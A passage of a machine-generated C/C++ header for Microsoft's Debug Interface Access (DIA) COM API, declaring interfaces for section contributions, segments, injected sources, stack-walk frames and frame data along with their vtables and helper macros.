*pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_discardable )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notCached )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_share )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_execute )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_read )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_write )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataCrc )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relocationsCrc )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilandId )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code16bit )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        END_INTERFACE\n    } IDiaSectionContribVtbl;\n\n    interface IDiaSectionContrib\n    {\n        CONST_VTBL struct IDiaSectionContribVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSectionContrib_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSectionContrib_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSectionContrib_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSectionContrib_get_compiland(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compiland(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_notPaged(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notPaged(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_code(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_initializedData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_initializedData(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_uninitializedData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uninitializedData(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_remove(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_remove(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_comdat(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_comdat(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_discardable(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_discardable(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_notCached(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notCached(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_share(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_share(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_execute(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_execute(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_read(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_read(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_write(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_write(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_dataCrc(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataCrc(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_relocationsCrc(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relocationsCrc(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_compilandId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilandId(This,pRetVal) ) \n\n#define IDiaSectionContrib_get_code16bit(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code16bit(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaSectionContrib_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSegment_INTERFACE_DEFINED__\n#define __IDiaSegment_INTERFACE_DEFINED__\n\n/* interface IDiaSegment */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSegment;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"0775B784-C75B-4449-848B-B7BD3159545B\")\n    IDiaSegment : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_frame( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_offset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_length( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_read( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_write( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_execute( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressSection( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSegmentVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSegment * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSegment * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSegment * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frame )( \n            IDiaSegment * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( \n            IDiaSegment * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSegment * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_read )( \n            IDiaSegment * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_write )( \n            IDiaSegment * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_execute )( \n            IDiaSegment * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSegment * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSegment * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSegment * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        END_INTERFACE\n    } IDiaSegmentVtbl;\n\n    interface IDiaSegment\n    {\n        CONST_VTBL struct IDiaSegmentVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSegment_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSegment_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSegment_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSegment_get_frame(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frame(This,pRetVal) ) \n\n#define IDiaSegment_get_offset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offset(This,pRetVal) ) \n\n#define IDiaSegment_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSegment_get_read(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_read(This,pRetVal) ) \n\n#define IDiaSegment_get_write(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_write(This,pRetVal) ) \n\n#define IDiaSegment_get_execute(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_execute(This,pRetVal) ) \n\n#define IDiaSegment_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSegment_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSegment_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaSegment_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaInjectedSource_INTERFACE_DEFINED__\n#define __IDiaInjectedSource_INTERFACE_DEFINED__\n\n/* interface IDiaInjectedSource */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaInjectedSource;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"AE605CDC-8105-4a23-B710-3259F1E26112\")\n    IDiaInjectedSource : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_crc( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_length( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_filename( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_objectFilename( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualFilename( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sourceCompression( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE get_source( \n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaInjectedSourceVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaInjectedSource * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaInjectedSource * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaInjectedSource * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_crc )( \n            IDiaInjectedSource * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaInjectedSource * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_filename )( \n            IDiaInjectedSource * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFilename )( \n            IDiaInjectedSource * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualFilename )( \n            IDiaInjectedSource * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceCompression )( \n            IDiaInjectedSource * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_source )( \n            IDiaInjectedSource * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        END_INTERFACE\n    } IDiaInjectedSourceVtbl;\n\n    interface IDiaInjectedSource\n    {\n        CONST_VTBL struct IDiaInjectedSourceVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaInjectedSource_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaInjectedSource_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaInjectedSource_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaInjectedSource_get_crc(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_crc(This,pRetVal) ) \n\n#define IDiaInjectedSource_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaInjectedSource_get_filename(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_filename(This,pRetVal) ) \n\n#define IDiaInjectedSource_get_objectFilename(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectFilename(This,pRetVal) ) \n\n#define IDiaInjectedSource_get_virtualFilename(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualFilename(This,pRetVal) ) \n\n#define IDiaInjectedSource_get_sourceCompression(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceCompression(This,pRetVal) ) \n\n#define IDiaInjectedSource_get_source(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_source(This,cbData,pcbData,pbData) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaInjectedSource_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_dia2_0000_0035 */\n/* [local] */ \n\n\nenum __MIDL___MIDL_itf_dia2_0000_0035_0001\n    {\n        E_DIA_INPROLOG\t= ( HRESULT  )(( ( ( ( unsigned long  )1 << 31 )  | ( ( unsigned long  )( LONG  )0x6d << 16 )  )  | ( unsigned long  )100 ) ),\n        E_DIA_SYNTAX\t= ( E_DIA_INPROLOG + 1 ) ,\n        E_DIA_FRAME_ACCESS\t= ( E_DIA_SYNTAX + 1 ) ,\n        E_DIA_VALUE\t= ( E_DIA_FRAME_ACCESS + 1 ) \n    } ;\n\n\nextern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0035_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_dia2_0000_0035_v0_0_s_ifspec;\n\n#ifndef __IDiaStackWalkFrame_INTERFACE_DEFINED__\n#define __IDiaStackWalkFrame_INTERFACE_DEFINED__\n\n/* interface IDiaStackWalkFrame */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaStackWalkFrame;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"07C590C1-438D-4F47-BDCD-4397BC81AD75\")\n    IDiaStackWalkFrame : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_registerValue( \n            /* [in] */ DWORD index,\n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_registerValue( \n            /* [in] */ DWORD index,\n            /* [in] */ ULONGLONG NewVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE readMemory( \n            /* [in] */ enum MemoryTypeEnum type,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE searchForReturnAddress( \n            /* [in] */ IDiaFrameData *frame,\n            /* [out] */ ULONGLONG *returnAddress) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE searchForReturnAddressStart( \n            /* [in] */ IDiaFrameData *frame,\n            /* [in] */ ULONGLONG startAddress,\n            /* [out] */ ULONGLONG *returnAddress) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaStackWalkFrameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaStackWalkFrame * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaStackWalkFrame * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaStackWalkFrame * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerValue )( \n            IDiaStackWalkFrame * This,\n            /* [in] */ DWORD index,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_registerValue )( \n            IDiaStackWalkFrame * This,\n            /* [in] */ DWORD index,\n            /* [in] */ ULONGLONG NewVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *readMemory )( \n            IDiaStackWalkFrame * This,\n            /* [in] */ enum MemoryTypeEnum type,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        HRESULT ( STDMETHODCALLTYPE *searchForReturnAddress )( \n            IDiaStackWalkFrame * This,\n            /* [in] */ IDiaFrameData *frame,\n            /* [out] */ ULONGLONG *returnAddress);\n        \n        HRESULT ( STDMETHODCALLTYPE *searchForReturnAddressStart )( \n            IDiaStackWalkFrame * This,\n            /* [in] */ IDiaFrameData *frame,\n            /* [in] */ ULONGLONG startAddress,\n            /* [out] */ ULONGLONG *returnAddress);\n        \n        END_INTERFACE\n    } IDiaStackWalkFrameVtbl;\n\n    interface IDiaStackWalkFrame\n    {\n        CONST_VTBL struct IDiaStackWalkFrameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaStackWalkFrame_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaStackWalkFrame_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaStackWalkFrame_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaStackWalkFrame_get_registerValue(This,index,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerValue(This,index,pRetVal) ) \n\n#define IDiaStackWalkFrame_put_registerValue(This,index,NewVal)\t\\\n    ( (This)->lpVtbl -> put_registerValue(This,index,NewVal) ) \n\n#define IDiaStackWalkFrame_readMemory(This,type,va,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> readMemory(This,type,va,cbData,pcbData,pbData) ) \n\n#define IDiaStackWalkFrame_searchForReturnAddress(This,frame,returnAddress)\t\\\n    ( (This)->lpVtbl -> searchForReturnAddress(This,frame,returnAddress) ) \n\n#define IDiaStackWalkFrame_searchForReturnAddressStart(This,frame,startAddress,returnAddress)\t\\\n    ( (This)->lpVtbl -> searchForReturnAddressStart(This,frame,startAddress,returnAddress) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaStackWalkFrame_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaFrameData_INTERFACE_DEFINED__\n#define __IDiaFrameData_INTERFACE_DEFINED__\n\n/* interface IDiaFrameData */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaFrameData;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"A39184B7-6A36-42de-8EEC-7DF9F3F59F33\")\n    IDiaFrameData : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressSection( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressOffset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthBlock( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthLocals( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthParams( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_maxStack( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthProlog( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lengthSavedRegisters( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_program( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_systemExceptionHandling( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_cplusplusExceptionHandling( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_functionStart( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_allocatesBasePointer( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_type( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_functionParent( \n            /* [retval][out] */ IDiaFrameData **pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE execute( \n            IDiaStackWalkFrame *frame) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaFrameDataVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaFrameData * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaFrameData * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaFrameData * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaFrameData * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaFrameData * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaFrameData * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaFrameData * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthBlock )( \n            IDiaFrameData * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthLocals )( \n            IDiaFrameData * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthParams )( \n            IDiaFrameData * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_maxStack )( \n            IDiaFrameData * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthProlog )( \n            IDiaFrameData * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lengthSavedRegisters )( \n            IDiaFrameData * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_program )( \n            IDiaFrameData * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_systemExceptionHandling )( \n            IDiaFrameData * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_cplusplusExceptionHandling )( \n            IDiaFrameData * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_functionStart )( \n            IDiaFrameData * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_allocatesBasePointer )( \n            IDiaFrameData * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( \n            IDiaFrameData * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_functionParent )( \n            IDiaFrameData * This,\n            /* [retval][out] */ IDiaFrameData **pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *execute )( \n            IDiaFrameData * This,\n            IDiaStackWalkFrame *frame);\n        \n        END_INTERFACE\n    } IDiaFrameDataVtbl;\n\n    interface IDiaFrameData\n    {\n        CONST_VTBL struct IDiaFrameDataVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaFrameData_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaFrameData_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaFrameData_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaFrameData_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> 